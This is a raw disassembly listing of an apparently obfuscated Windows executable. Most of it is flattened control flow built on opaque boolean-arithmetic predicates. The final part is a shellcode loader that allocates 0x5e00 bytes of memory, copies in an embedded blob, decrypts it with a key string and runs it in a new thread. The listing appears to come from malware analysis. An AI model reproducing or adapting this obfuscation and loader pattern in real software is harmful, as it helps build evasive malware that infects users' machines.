mov al, dl
xor al, 1
or cl, dh
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x3da]
xor al, 0xff
mov dh, byte [ebp - 0x3db]
xor dh, 0xff
mov byte [ebp - 0x3dc], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3dd], al
mov al, byte [ebp - 0x3dc]
and al, 0xff
mov byte [ebp - 0x3de], al
mov al, byte [ebp - 0x3da]
mov byte [ebp - 0x3df], cl
mov cl, byte [ebp - 0x3dd]
and al, cl
mov cl, dh
and cl, 0xff
mov byte [ebp - 0x3e0], al
mov al, byte [ebp - 0x3db]
mov byte [ebp - 0x3e1], cl
mov cl, byte [ebp - 0x3dd]
and al, cl
mov cl, byte [ebp - 0x3de]
mov byte [ebp - 0x3e2], al
mov al, byte [ebp - 0x3e0]
or cl, al
mov al, byte [ebp - 0x3e1]
mov byte [ebp - 0x3e3], cl
mov cl, byte [ebp - 0x3e2]
or al, cl
mov cl, byte [ebp - 0x3e3]
xor cl, al
mov al, byte [ebp - 0x3dc]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x3dd]
or dh, 1
and al, dh
or cl, al
mov al, bh
mov dh, byte [ebp - 0x3df]
and al, dh
xor bh, dh
or al, bh
mov bh, cl
xor bh, 0xff
and bh, 1
mov dh, dl
xor dh, 1
and cl, dh
mov byte [ebp - 0x3e4], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x3e5], al
mov al, byte [ebp - 0x3e4]
and al, dh
or bh, cl
mov cl, byte [ebp - 0x3e5]
or cl, al
xor bh, cl
mov al, ch
and al, bl
xor ch, bl
or al, ch
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or cl, al
or dh, ch
xor cl, dh
mov al, byte [ebp - 0x3d9]
and al, 0
mov ch, byte [ebp - 0x3d9]
xor ch, 0
or al, ch
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, bh
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov dh, dl
xor dh, 1
mov bl, al
and bl, 0xff
and bh, dh
mov byte [ebp - 0x3e6], al
mov al, cl
and al, 0xff
and ch, dh
or bl, bh
or al, ch
xor bl, al
mov al, byte [ebp - 0x3e6]
or al, cl
xor al, 0xff
or dh, 1
and al, dh
or bl, al
mov al, byte [ebp - 0x3d6]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x3d6]
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, bl
xor cl, 0xff
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, bl
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
and bl, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or al, bl
or dh, ch
xor al, dh
xor al, 0xff
mov ch, byte [ebp - 0x3d6]
xor ch, al
mov al, byte [ebp - 0x3d6]
and ch, al
mov dh, cl
xor dh, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov al, dh
and al, 0
and cl, bh
mov byte [ebp - 0x3e7], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x3e8], al
mov al, byte [ebp - 0x3e7]
or al, cl
mov cl, byte [ebp - 0x3e8]
or cl, ch
xor al, cl
or dh, bl
xor dh, 0xff
or bh, 0
and dh, bh
or al, dh
mov cl, byte [ebp - 0x3c3]
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
or cl, ch
or dh, 0
xor cl, 0xff
and cl, dh
mov ch, byte [ebp - 0x3c3]
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
mov ch, byte [ebp - 0x3c3]
and ch, ah
or dh, ch
mov ah, cl
xor ah, 0xff
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, ah
and bh, 0
and cl, bl
mov byte [ebp - 0x3e9], al
mov al, ch
and al, 0
and dh, bl
or bh, cl
or al, dh
xor bh, al
or ah, ch
xor ah, 0xff
or bl, 0
and ah, bl
or bh, ah
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bh
and ah, cl
or al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
xor cl, 0xff
mov ah, bh
xor ah, cl
and ah, bh
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
and ah, 1
or al, ah
mov ah, byte [ebp - 0x3ca]
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, byte [ebp - 0x3ca]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 0
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x3ea], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3eb], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3ec], al
mov al, byte [ebp - 0x3eb]
or bh, al
mov al, byte [ebp - 0x3ec]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x3ca]
xor al, 0xff
mov byte [ebp - 0x3ed], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x3ee], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3ef], al
mov al, byte [ebp - 0x3ed]
mov byte [ebp - 0x3f0], cl
mov cl, byte [ebp - 0x3ee]
or al, cl
mov cl, byte [ebp - 0x3ef]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x3f1], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x3f2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3f3], al
mov al, cl
and al, 0
mov byte [ebp - 0x3f4], al
mov al, byte [ebp - 0x3f3]
and bl, al
mov al, byte [ebp - 0x3f2]
and al, 0
mov byte [ebp - 0x3f5], al
mov al, byte [ebp - 0x3f3]
and dh, al
mov al, byte [ebp - 0x3f4]
or al, bl
mov bl, byte [ebp - 0x3f5]
or bl, dh
xor al, bl
mov dh, byte [ebp - 0x3f2]
or cl, dh
xor cl, 0xff
mov bl, byte [ebp - 0x3f3]
or bl, 0
and cl, bl
or al, cl
mov cl, bh
mov bl, byte [ebp - 0x3f1]
and cl, bl
xor bh, bl
or cl, bh
mov bh, al
xor bh, 0xff
mov dh, cl
and dh, bh
xor cl, 0xff
and al, cl
or dh, al
mov al, byte [ebp - 0x3ea]
and al, ah
mov cl, byte [ebp - 0x3ea]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, al
or bh, ah
xor cl, bh
mov al, ch
and al, 0
xor ch, 0
or al, ch
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, dh
and al, ah
xor dh, ah
or al, dh
mov cl, byte [ebp - 0x3f0]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x3f0]
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
or ah, al
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
and ch, 1
or al, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
and ch, ah
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, dl
xor al, 0xff
mov cl, byte [ebp - 0x3e9]
xor cl, al
mov al, byte [ebp - 0x3e9]
and cl, al
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, byte [ebp - 0x3e9]
and al, dl
or ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
test al, 1
mov esi, dword [ebp - 0x3b0]
mov edi, dword [ebp - 0x3bc]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
mov eax, 0xdfcb162b
mov ecx, 0xdda94c1d
mov dl, 1
xor esi, esi
mov edi, dword [0x5f90ac]
mov ebx, dword [0x5f90a4]
mov dword [ebp - 0x3fc], eax
mov eax, esi
sub eax, 0xeba9f9f
sub eax, 0xe8e46e82
add eax, 0xeba9f9f
mov dword [ebp - 0x400], eax
mov eax, esi
sub eax, edi
mov dword [ebp - 0x404], eax
mov eax, esi
mov dword [ebp - 0x408], ecx
mov ecx, dword [ebp - 0x400]
sub eax, ecx
mov ecx, dword [ebp - 0x404]
add ecx, eax
mov eax, esi
sub eax, ecx
add eax, 0x34ea4f85
add eax, 0x3a115fe1
sub eax, 0x34ea4f85
mov ecx, esi
sub ecx, 1
add eax, ecx
add eax, 0x71901bf7
sub eax, 0x3a115fe1
sub eax, 0x71901bf7
add eax, 0xcb104725
sub eax, 0x135bf8af
sub eax, 0xcb104725
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0xe8e46e82
add ecx, eax
mov eax, esi
sub eax, ecx
sub esi, 0x135bf8af
sub eax, esi
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
or ah, ch
mov cl, dh
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dh
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
mov ah, ch
xor ah, cl
and ah, ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, dl
xor bh, 1
and bh, 0xff
and bl, 1
or cl, al
or bh, bl
xor cl, bh
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, ch
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
and ch, bl
mov byte [ebp - 0x409], al
mov al, dh
and al, 0
mov byte [ebp - 0x40a], al
mov al, byte [ebp - 0x409]
and al, bl
or bh, ch
mov ch, byte [ebp - 0x40a]
or ch, al
xor bh, ch
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and ah, ch
mov dh, bh
xor dh, 0xff
and dh, 0xff
and bh, ch
or al, ah
or dh, bh
xor al, dh
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
xor dl, 0
mov dh, ah
and dh, 0
and cl, dl
mov bl, ch
and bl, 0
and al, dl
or dh, cl
or bl, al
xor dh, bl
or ah, ch
xor ah, 0xff
or dl, 0
and ah, dl
or dh, ah
test dh, 1
mov esi, dword [ebp - 0x3fc]
mov edi, dword [ebp - 0x408]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
push eax
mov esi, esp
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], edx
mov dword [ebp - 0x41c], esi
call fcn.00551460
mov ecx, 0x9ce0d4a
mov edx, dword [ebp - 0x410]
mov dword [edx], eax
mov eax, dword [edx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x9ce0d4a
mov dword [ebp - 0x420], ecx
call fcn.00579dd0
add esp, 8
lea ecx, str.aBkxJBF3o5p7vT31tYc3ujE
mov edx, dword [ebp - 0x414]
mov dword [edx], eax
sub esp, 4
mov dword [esp], ecx
call sub.msvcrt.dll__strdup_1
add esp, 4
xor ecx, ecx
mov edx, 0x5e00
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x418]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x5e00
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x430], edi
call dword [eax]
mov ecx, dword [ebp - 0x41c]
mov dword [ecx], eax
mov dword [ebp - 0x28], 0x6adbc013
jmp 0x5eb807
lea eax, [0x5f0404]
mov ecx, 0x5e00
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x5e00
mov dword [ebp - 0x434], ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov dword [esp], edx
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x43c], ecx
call sub.KERNEL32.dll_lstrlenA
mov ecx, 0x5e00
sub esp, 0x10
mov edx, dword [ebp - 0x438]
mov dword [esp], edx
mov edx, dword [ebp - 0x43c]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x5e00
mov dword [esp + 0xc], eax
mov dword [ebp - 0x440], ecx
call fcn.00558880
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x444], eax
call fcn.0058eaf0
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0x3920d31
mov dword [ebp - 0x448], eax
jmp 0x5eb807
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x44c], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x450], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov dword [ebp - 0x28], 0x57dd811f
mov dword [ebp - 0x454], eax
jmp 0x5eb807
mov dword [ebp - 0x28], 0x2f0875d8
jmp 0x5eb807
mov dword [ebp - 0x28], 0xaf687d11
jmp 0x5e51fc